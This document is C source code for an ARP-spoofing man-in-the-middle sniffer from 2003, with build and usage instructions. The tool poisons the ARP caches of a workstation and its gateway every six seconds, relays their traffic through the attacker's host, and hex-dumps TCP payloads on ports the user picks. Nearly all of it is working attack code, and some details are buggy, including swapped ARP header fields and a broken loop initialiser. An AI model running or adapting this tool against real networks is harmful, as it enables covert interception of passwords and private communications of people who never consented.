This is a arp spoof sniffer

/*============================================================================
Coder:  Paris-ye
Released on: 1/9/2003
Test on: redhat 9.0
Our Team:Www.Bugkidz.Org

Information:
This is a arp spoof sniffer.
W <--- workstation
B <--- Server or  GateWay
M <--- Man in the middle (agent),self IP address

Make:
first you must install "pcap" and "libnet"
gcc -I/usr/local/include -L/usr/local/lib -o sniffer sniffer.c -lpcap -lnet

Usage:
./sniffer -I [Interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
============================================================================*/

#include <stdio.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <pcap.h>
#include <libnet.h>

#define  MAXBUF		1024*4
#define  PCAP_TOUT	5
#define  PROMISC	0
#define  TRUE		1
#define  FALSE		0

/* Ethernet protocol ID's */    
#define ETHERTYPE_PUP           0x0200          /* Xerox PUP */
#define ETHERTYPE_IP            0x0800          /* IP */
#define ETHERTYPE_ARP           0x0806          /* Address resolution */
#define ETHERTYPE_REVARP        0x8035          /* Reverse ARP */

/* This structure defines an ethernet arp header.  */

/* ARP protocol opcodes. */
#define ARPOP_REQUEST   1               /* ARP request.  */
#define ARPOP_REPLY     2               /* ARP reply.  */
#define ARPOP_RREQUEST  3               /* RARP request.  */
#define ARPOP_RREPLY    4               /* RARP reply.  */
#define ARPOP_InREQUEST 8               /* InARP request.  */
#define ARPOP_InREPLY   9               /* InARP reply.  */
#define ARPOP_NAK       10              /* (ATM)ARP NAK.  */

/* ARP protocol HARDWARE identifiers. */
#define ARPHRD_NETROM   0               /* From KA9Q: NET/ROM pseudo. */
#define ARPHRD_ETHER    1               /* Ethernet 10/100Mbps.  */
#define ARPHRD_EETHER   2               /* Experimental Ethernet.  */
#define ARPHRD_AX25     3               /* AX.25 Level 2.  */
#define ARPHRD_PRONET   4               /* PROnet token ring.  */
#define ARPHRD_CHAOS    5               /* Chaosnet.  */
#define ARPHRD_IEEE802  6               /* IEEE 802.2 Ethernet/TR/TB.  */
#define ARPHRD_ARCNET   7               /* ARCnet.  */
#define ARPHRD_APPLETLK 8               /* APPLEtalk.  */
#define ARPHRD_DLCI     15              /* Frame Relay DLCI.  */
#define ARPHRD_ATM      19              /* ATM.  */
#define ARPHRD_METRICOM 23              /* Metricom STRIP (new IANA id).  */

/* Dummy types for non ARP hardware */
#define ARPHRD_SLIP       0x256
#define ARPHRD_CSLIP      0x257
#define ARPHRD_SLIP6      0x258
#define ARPHRD_CSLIP6     0x259
#define ARPHRD_RSRVD      0x260             /* Notional KISS type.  */
#define ARPHRD_ADAPT      0x264
#define ARPHRD_ROSE       0x270 
#define ARPHRD_X25        0x271             /* CCITT X.25.  */
#define ARPHDR_HWX25      0x272             /* Boards with X.25 in firmware.  */
#define ARPHRD_PPP        0x512
#define ARPHRD_CISCO      0x513             /* Cisco HDLC.  */
#define ARPHRD_HDLC       ARPHRD_CISCO
#define ARPHRD_LAPB       0x516             /* LAPB.  */
#define ARPHRD_DDCMP      0x517             /* Digital's DDCMP.  */
#define ARPHRD_RAWHDLC    0x518             /* Raw HDLC.  */
    
#define ARPHRD_TUNNEL     0x768             /* IPIP tunnel.  */
#define ARPHRD_TUNNEL6    0x769             /* IPIP6 tunnel.  */
#define ARPHRD_FRAD       0x770             /* Frame Relay Access Device.  */
#define ARPHRD_SKIP       0x771             /* SKIP vif.  */
#define ARPHRD_LOOPBACK   0x772             /* Loopback device.  */
#define ARPHRD_LOCALTLK   0x773             /* Localtalk device.  */
#define ARPHRD_FDDI       0x774             /* Fiber Distributed Data Interface. */
#define ARPHRD_BIF        0x775             /* AP1000 BIF.  */ 
#define ARPHRD_SIT        0x776             /* sit0 device - IPv6-in-IPv4.  */
#define ARPHRD_IPDDP      0x777             /* IP-in-DDP tunnel.  */
#define ARPHRD_IPGRE      0x778             /* GRE over IP.  */
#define ARPHRD_PIMREG     0x779             /* PIMSM register interface.  */
#define ARPHRD_HIPPI      0x780             /* High Performance Parallel I'face. */
#define ARPHRD_ASH        0x781             /* (Nexus Electronics) Ash.  */
#define ARPHRD_ECONET     0x782             /* Acorn Econet.  */
#define ARPHRD_IRDA       0x783             /* Linux-IrDA.  */
#define ARPHRD_FCPP       0x784             /* Point to point fibrechanel.  */
#define ARPHRD_FCAL       0x785             /* Fibrechanel arbitrated loop.  */
#define ARPHRD_FCPL       0x786             /* Fibrechanel public loop.  */
#define ARPHRD_FCPFABRIC  0x787             /* Fibrechanel fabric.  */
#define ARPHRD_IEEE802_TR 0x800             /* Magic type ident for TR.  */
#define ARPHRD_IEEE80211  0x801             /* IEEE 802.11.  */

/* IP version number */
#define IPVERSION       4

struct ether_header
{
	u_int8_t  ether_dhost[6];      /* destination eth addr */
	u_int8_t  ether_shost[6];      /* source ether addr    */
	u_int16_t ether_type;          /* packet type ID field */
};

struct arphdr
{
        unsigned short int ar_hrd;          /* Format of hardware address.  */
        unsigned short int ar_pro;          /* Format of protocol address.  */
        unsigned char ar_hln;               /* Length of hardware address.  */
        unsigned char ar_pln;               /* Length of protocol address.  */
        unsigned short int ar_op;           /* ARP opcode (command).  */
        unsigned char __ar_sha[6];          /* Sender hardware address.  */
        unsigned char __ar_sip[4];          /* Sender IP address.  */
        unsigned char __ar_tha[6];          /* Target hardware address.  */
        unsigned char __ar_tip[4];          /* Target IP address.  */
};

/*
 * Structure of an internet header, naked of options.
 */
struct iphead
{
	unsigned int ip_hl:4;               /* header length */
	unsigned int ip_v:4;                /* version */
	u_int8_t ip_tos;                    /* type of service */
	u_short ip_len;                     /* total length */
	u_short ip_id;                      /* identification */
	u_short ip_off;                     /* fragment offset field */
	u_int8_t ip_ttl;                    /* time to live */
	u_int8_t ip_p;                      /* protocol */
	u_short ip_sum;                     /* checksum */
	u_char ip_src[4], ip_dst[4];      /* source and dest address */
};

struct tcphead
  {
    u_int16_t th_sport;         /* source port */
    u_int16_t th_dport;         /* destination port */
    u_int32_t th_seq;             /* sequence number */
    u_int32_t th_ack;             /* acknowledgement number */
    u_int8_t th_off:4;          /* data offset */
    u_int8_t th_x2:4;           /* (unused) */
    u_int8_t th_flags;
#define TH_FIN        0x01
#define TH_SYN        0x02
#define TH_RST        0x04
#define TH_PUSH       0x08
#define TH_ACK        0x10
#define TH_URG        0x20
    u_int16_t th_win;           /* window */
    u_int16_t th_sum;           /* checksum */
    u_int16_t th_urp;           /* urgent pointer */
};

/*
 * W , S , M 's ip and mac address
 */
struct ipmacaddr
{
	u_char ipW[4];
	u_char macW[6];
	u_char ipS[4];
	u_char macS[6];
	u_char ipM[4];
	u_char macM[6];
};
int usage(char* argv)
{
	printf("====================================/n");
	printf("============Arp Sniffer=============/n");
	printf("==========Write by Paris-Ye=========/n");
        printf("===Usage: %s -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]/n", argv);
	printf("===For example:/n");
	printf("/t%s -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254/n",argv);
        return 0;
}

/*send arp packet function*/
int arpsend(libnet_t* lnet,u_char* smac,u_char* sip,u_char* dmac,u_char* dip)
{
	int						ret=0;
	u_char*					packet;
	u_long					packets;
	libnet_ptag_t			t;
	struct ether_header*	ethh;
	struct arphdr*			arph;

	packets=sizeof(struct ether_header)+sizeof(struct arphdr);
	packet = malloc(packets);
	ethh = (struct ether_header* ) packet;
	arph = (struct arphdr* ) (packet+sizeof(struct ether_header));

	memcpy(ethh->ether_dhost,dmac,6);
	memcpy(ethh->ether_shost,smac,6);
	ethh->ether_type = htons(ETHERTYPE_ARP);
	arph->ar_hrd = htons(ARPOP_REQUEST);
	arph->ar_pro = htons(ARPHRD_IEEE802_TR);
	arph->ar_hln = 6;
	arph->ar_pln = 4;
	arph->ar_op = htons(ARPHRD_ETHER);
	memcpy(arph->__ar_sha,smac,6);
	memcpy(arph->__ar_sip,sip,4);
	bzero(arph->__ar_tha,6);
	memcpy(arph->__ar_tip,dip,4);
	ret = libnet_write_link(
		lnet,
		packet,
		packets
	);
	if(ret == -1)
	{
		return FALSE;
	}
	return TRUE;
}

/*Send spoof arp S And W every 6 second interval*/
void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac)
{
	while(TRUE)
	{
		arpsend(lnet,ipmac->macM,ipmac->ipS,ipmac->macW,ipmac->ipW);
		arpsend(lnet,ipmac->macM,ipmac->ipW,ipmac->macS,ipmac->ipS);
		sleep(6);
	}
}

/*Forward packets W--->S or S--->W*/
int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM)
{
	int ret=0;
	const u_char* datapoint=packet;
	struct ether_header* ethhdr;
	struct iphead*       iph;

	ethhdr = (struct ether_header*) datapoint;

	if(ntohs(ethhdr->ether_type)!=ETHERTYPE_IP)
		return TRUE;
	if(!memcmp(ethhdr->ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/
		return TRUE;
	if(memcmp(ethhdr->ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/
		return TRUE;
	if(!memcmp(ethhdr->ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/
	{
		memcpy(ethhdr->ether_shost,macM,6);
		memcpy(ethhdr->ether_dhost,macS,6);
		ret = libnet_write_link(
			lnet,
			(u_char*)datapoint,
			len
		);
	}
	if(!memcmp(ethhdr->ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/
	{
		memcpy(ethhdr->ether_shost,macM,6);
		memcpy(ethhdr->ether_dhost,macW,6);
		ret = libnet_write_link(
			lnet,
			(u_char*)datapoint,
			len
		);
	}

	return TRUE;
}

/*print hex date to Ascii */
void printdat(u_char* packet,int len)
{
	int i=0,j=0;
	u_char str[16];
	for(i=0;i<=len-16;i+=16)
	{
		memcpy(str,packet+i,16);
		fprintf(stdout,"%02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x  ",
			str[0],str[1],str[2],str[3],
			str[4],str[5],str[6],str[7],
			str[8],str[9],str[10],str[11],
			str[12],str[13],str[14],str[15]
		);
		for(j=0;j<16;j++)
		{
			if(str[j] < 32 || str[j] > 126)
				str[j]='.';
		}
		fprintf(stdout,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c/n",
			str[0],str[1],str[2],str[3],
			str[4],str[5],str[6],str[7],
			str[8],str[9],str[10],str[11],
			str[12],str[13],str[14],str[15]
		);
	}
	if(i!=len)
	{
		memcpy(str,packet+i,16);
		for(j=0;j<16;j++)
		{
			if(j%4==0 && j!=0)
				fprintf(stdout," ");
			if((i+j)<len)
			{
				fprintf(stdout,"%02x",str[j]);
			}
			else
				fprintf(stdout,"  ");
		}
		fprintf(stdout,"  ");
		for(j=0;j<16;j++)
		{
			if((i+j)<len)
			{
				if(str[j] < 32 || str[j] > 126)
					str[j]='.';
				fprintf(stdout,"%c",str[j]);
			}
		}
		fprintf(stdout,"/n/n");
	}
}

/*parse packet*/
int  parsedate(const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM,u_char* ipW,u_char* ipS,int* port)
{
	int	i=0;
	int     contents;
	u_char* content;
	const u_char* datapoint=packet;
	struct ether_header* ethhdr;
	struct iphead*       iph;
	struct tcphead*      tcph;

	ethhdr = (struct ether_header*) datapoint;
	iph = (struct iphead*) (datapoint+sizeof(struct ether_header));
	tcph = (struct tcphead*) (datapoint+sizeof(struct ether_header)+sizeof(struct iphead));
	if(memcmp(ethhdr->ether_shost,macW,6) && memcmp(ethhdr->ether_shost,macS,6))
		return FALSE;
	if(memcmp(ethhdr->ether_dhost,macM,6))
		return FALSE;
	if(ntohs(ethhdr->ether_type)!=ETHERTYPE_IP)
		return FALSE;
	if(iph->ip_v != 4 || iph->ip_hl != 5)
		return FALSE;
	if(!(!memcmp(iph->ip_dst,ipW,4) || !memcmp(iph->ip_src,ipW,4)))
		return FALSE;
	if(iph->ip_p != IPPROTO_TCP)
		return FALSE;
	contents = htons(iph->ip_len)-sizeof(struct iphead)-sizeof(struct tcphead);
	content = (u_char *)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead)+sizeof(struct tcphead));
	if((tcph->th_flags & TH_PUSH))
	{
		for(i==0;port[i]!=0;i++)
		{
			printf("=====%d %d/n",port[i],htons(tcph->th_dport));
			if(port[i]==htons(tcph->th_dport) || port[i]==htons(tcph->th_sport))
				break;
		}
		if(port[i]==0)
			return;
		printf("Size:[%d] [%d.%d.%d.%d:%d]->[%d.%d.%d.%d:%d]/n",htons(iph->ip_len),
			iph->ip_src[0],iph->ip_src[1],iph->ip_src[2],iph->ip_src[3],htons(tcph->th_sport),
			iph->ip_dst[0],iph->ip_dst[1],iph->ip_dst[2],iph->ip_dst[3],htons(tcph->th_dport)
			);
		printdat(content,contents);
	}

	return TRUE;
}

/*Sniffer packets*/
int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port)
{
	const u_char* packet;
	struct pcap_pkthdr hdr;
	while(1)
	{
		packet=pcap_next(lpcap,&hdr);
		if(packet==NULL || hdr.len==0)
			continue;
		parsedate(packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM,ipmac->ipW,ipmac->ipS,port);
		forwarddate(lnet,packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM);
	}

	return TRUE;
}

/*
When initialize Get the S and W Mac address
Send arp request 
*/
int gettargetmac(libnet_t* lnet,struct ipmacaddr* ipmac)
{
	while(1)
	{
		arpsend(lnet,ipmac->macM,ipmac->ipM,ipmac->macW,ipmac->ipW);
		arpsend(lnet,ipmac->macM,ipmac->ipM,ipmac->macS,ipmac->ipS);
		sleep(1);
	}
	return TRUE;
}

/*
When initialize Get the S and W Mac address
parse arp reply
*/
int getmacaddress(char* dev,libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac)
{
	int skfd=0;
	unsigned int isgetmac=0x0;
	pid_t	pid=0;
	struct ifreq ifr;
	const u_char* packet;
	struct pcap_pkthdr hdr;
	struct ether_header* ethhdr;
	struct arphdr*			arph;

//----------get local mac adrress
	strcpy(ifr.ifr_name,dev);
	skfd = socket(AF_INET,SOCK_DGRAM,0);
	if(skfd<0)
	{
		printf("Can't open socket!/n");
		return FALSE;
	}
	if(ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0)
	{
		printf("Can't read local mac address!/n");
		return FALSE;
	}
	memcpy(ipmac->macM,ifr.ifr_hwaddr.sa_data,6);
	close(skfd);
//----------get target mac address
	pid = fork();
	if(pid==0)
	{
		gettargetmac(lnet,ipmac);
		exit(TRUE);
	}
	while(1)
	{
		packet=pcap_next(lpcap,&hdr);
		if(packet==NULL || hdr.len==0)
			continue;
		ethhdr = (struct ether_header*) packet;
		arph = (struct arphdr*) (packet+sizeof(struct ether_header));

		if(memcmp(ethhdr->ether_dhost,ipmac->macM,6))
			continue;
		if(ntohs(ethhdr->ether_type)!=ETHERTYPE_ARP)
			continue;
		if(!memcmp(arph->__ar_sip,ipmac->ipW,4) && !memcmp(arph->__ar_tip,ipmac->ipM,4))
		{
			memcpy(ipmac->macW,arph->__ar_sha,6);
			isgetmac=0xFFFF0000 | isgetmac;
		}
		if(!memcmp(arph->__ar_sip,ipmac->ipS,4) && !memcmp(arph->__ar_tip,ipmac->ipM,4))
		{
			memcpy(ipmac->macS,arph->__ar_sha,6);
			isgetmac=0x0000FFFF | isgetmac;
		}
		if(isgetmac == 0xFFFFFFFF)
			break;
	}
	kill(pid,9);
	return TRUE;
}

int main(int argc,char* argv[])
{
	int         	ret=0,i=0;
	char 		*p,*s;
	char		c;
	char		string[]="I:M:W:S:P:";
	int		port[100];
	char		dev[32]="";
	struct ipmacaddr ipmac;
	pid_t		pid;
	libnet_t*	lnet;
	pcap_t*     lpcap;
	bpf_u_int32 netp,maskp;
	struct bpf_program fp;
	char        err[PCAP_ERRBUF_SIZE];
	char        filterstr[]="";


	unsigned int ipM;
	unsigned int ipW;
	unsigned int ipS;
	u_char macW[] = {255,255,255,255,255,255,255};
	u_char macS[] = {255,255,255,255,255,255,255};
	u_char macM[] = {255,255,255,255,255,255,255};

	bzero(&ipmac,sizeof(struct ipmacaddr));
	if(argc<8)
	{
		usage(argv[0]);
		return FALSE;
	}
	while((c = getopt(argc, argv, string)) != EOF)
	{
		switch(c)
		{
			case('I'):
				strcpy(dev,optarg);
			break;
			case('M'):
				ipM = inet_addr(optarg);
				memcpy(ipmac.ipM,(void*)&ipM,4);
			break;
			case('W'):
				ipW = inet_addr(optarg);
				memcpy(ipmac.ipW,(void*)&ipW,4);
			break;
			case('S'):
				ipS = inet_addr(optarg);
				memcpy(ipmac.ipS,(void*)&ipS,4);
			break;
			case('P'):
				printf("%s/n",optarg);
				s = optarg;
      				p=strtok(s,":");
        			while(p)
        			{
					port[i]=atoi(p);
          				printf("%d/n",port[i]);
          				p=strtok(NULL,":");
					i++;
       				}
				port[i]=0;

			break;
			default:
				usage(argv[0]);
				return FALSE;
		}
	}

	memcpy(ipmac.macW,macW,6);
	memcpy(ipmac.macS,macS,6);
	memcpy(ipmac.macM,macM,6);
	ret = pcap_lookupnet(dev,&netp,&maskp,err);
	if(ret == -1)
	{
		printf("Can't initialize PCAP![%s]/n",err);
		return FALSE;
	}
	lpcap = pcap_open_live(
		dev,
		MAXBUF,
		PROMISC,
		PCAP_TOUT,
		err
	);
	if(lpcap == NULL)
	{
		printf("Can't initialize PCAP![%s]/n",err);
		return FALSE;
	}

	ret = pcap_compile(lpcap,&fp,filterstr,0,netp);
	if(ret == -1)
	{
		printf("Error pcap_compile!/n");
		return FALSE;
	}

	ret = pcap_setfilter(lpcap,&fp);
	if(ret == -1)
	{
		printf("Error pcap_setfilter!/n");
		return FALSE;
	}

	lnet = libnet_init(
		LIBNET_LINK,
		dev,
		err);
	if(lnet == NULL)
	{
		printf("Can't initialize libnet!Please check the [dev]/n");
		return FALSE;
	}

	ret = getmacaddress(dev,lnet,lpcap,&ipmac);
	printf("Get network cards mac address:/n");
	printf("M-> %02x:%02x:%02x:%02x:%02x:%02x/n",ipmac.macM[0],ipmac.macM[1],ipmac.macM[2],ipmac.macM[3],ipmac.macM[4],ipmac.macM[5],ipmac.macM[6]);
	printf("W-> %02x:%02x:%02x:%02x:%02x:%02x/n",ipmac.macW[0],ipmac.macW[1],ipmac.macW[2],ipmac.macW[3],ipmac.macW[4],ipmac.macW[5],ipmac.macW[6]);
	printf("S-> %02x:%02x:%02x:%02x:%02x:%02x/n",ipmac.macS[0],ipmac.macS[1],ipmac.macS[2],ipmac.macS[3],ipmac.macS[4],ipmac.macS[5],ipmac.macS[6]);
	printf("/nNow Start... .. ./n");
	if(ret == FALSE)
	{
		return FALSE;
	}

	pid = fork();
	if(pid==0)
	{
		arpspoof(lnet,&ipmac);
		return FALSE;
	}else
	{
		agentpacket(lnet,lpcap,&ipmac,port);
	}

	libnet_destroy(lnet);
	pcap_close(lpcap);
	printf("Done/n");
	return TRUE;
}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值